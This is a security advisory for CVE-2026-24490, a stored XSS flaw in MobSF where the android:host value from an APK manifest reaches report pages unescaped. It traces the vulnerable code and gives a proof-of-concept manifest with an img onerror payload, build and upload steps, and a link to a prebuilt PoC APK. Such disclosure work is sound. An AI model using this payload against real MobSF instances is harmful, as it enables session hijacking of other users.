CVE-2026-24490: MobSF has Stored XSS via Manifest Analysis - Dialer Code Host Field

Summary A Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The android:host attribute from <data android:scheme="androidsecretcode"> elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.

Details When MobSF analyzes an Android APK containing a <data> element with android:scheme="androidsecretcode", it extracts the android:host attribute and inserts it directly into the analysis report without HTML escaping.

Vulnerable Code Path

1. Data Extraction - mobsf/StaticAnalyzer/views/android/manifestanalysis.py (line 776): python xmlhost = data.getAttribute(f'{ns}:host') retlist.append(('dialercodefound', (xmlhost,), ()))

2. Template String Formatting - mobsf/StaticAnalyzer/views/android/manifestanalysis.py (line 806): python 'title': atemplate['title'] % tname, # XSS payload inserted here unescaped

3. Template Definition - mobsf/StaticAnalyzer/views/android/kb/androidmanifestdesc.py (line 200): python 'dialercodefound': { 'title': 'Dailer Code: %s Found <br>[android:scheme=\"androidsecretcode\"]', ... }

4. Unsafe Rendering - mobsf/templates/staticanalysis/androidbinaryanalysis.html (line 1143): html {{item|key:"title" | safe}}

The |safe Django template filter bypasses auto-escaping, allowing the unescaped android:host value to be rendered as raw HTML.

PoC

Step 1: Create Malicious APK

Create an APK with the following AndroidManifest.xml:

xml <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.poc.xsstest" android:versionCode="1" android:versionName="1.0">

<application android:label="XSS PoC Test"> <receiver android:name=".SecretCodeReceiver" android:exported="true"> <intent-filter> <action android:name="android.provider.Telephony.SECRETCODE"/> <data android:scheme="androidsecretcode" android:host="&lt;img src=x onerror=alert(document.domain)&gt;"/> </intent-filter> </receiver> </application> </manifest>

Step 2: Build the APK

Use apktool or Android build tools to create a valid APK with this manifest.

Step 3: Upload to MobSF

Upload the malicious APK to MobSF for static analysis.

Step 4: Trigger XSS

View the static analysis report in a browser. The JavaScript payload executes automatically.

Confirmed HTML Output

html <td> Dailer Code: <img src=x onerror=alert(document.domain)> Found <br>[android:scheme="androidsecretcode"] </td>

PoC APK Details

| Field | Value | |-------|-------| | Filename | POCXSSAPK.apk | | MD5 Hash | 647258656ed03a7e6a0f2acce4ec6a5b | | Location | https://github.com/smaranchand/poc/raw/refs/heads/main/POCXSSAPK.apk |

Impact

This is a Stored Cross-site Scripting (XSS) vulnerability affecting all MobSF users who analyze the results of the malicious APK file.

Attack Scenario

1. Attacker crafts a malicious APK with XSS payload in the manifest 2. Attacker submits APK to a shared MobSF instance or private mobsf instance. 3. When any user views the analysis report, the XSS payload executes in their browser

<img width="1435" height="675" alt="Screenshot 2026-01-15 at 12 24 29 AM" src="https://github.com/user-attachments/assets/e282a0b2-236e-4199-a7ce-b96017cc7052" />

Tested in MobSF Public Instance as well. https://mobsf.live/staticanalyzer/647258656ed03a7e6a0f2acce4ec6a5b/

<img width="1440" height="780" alt="Screenshot 2026-01-15 at 12 24 57 AM" src="https://github.com/user-attachments/assets/8673b76a-954a-45e7-833a-a64e0a972f2e" />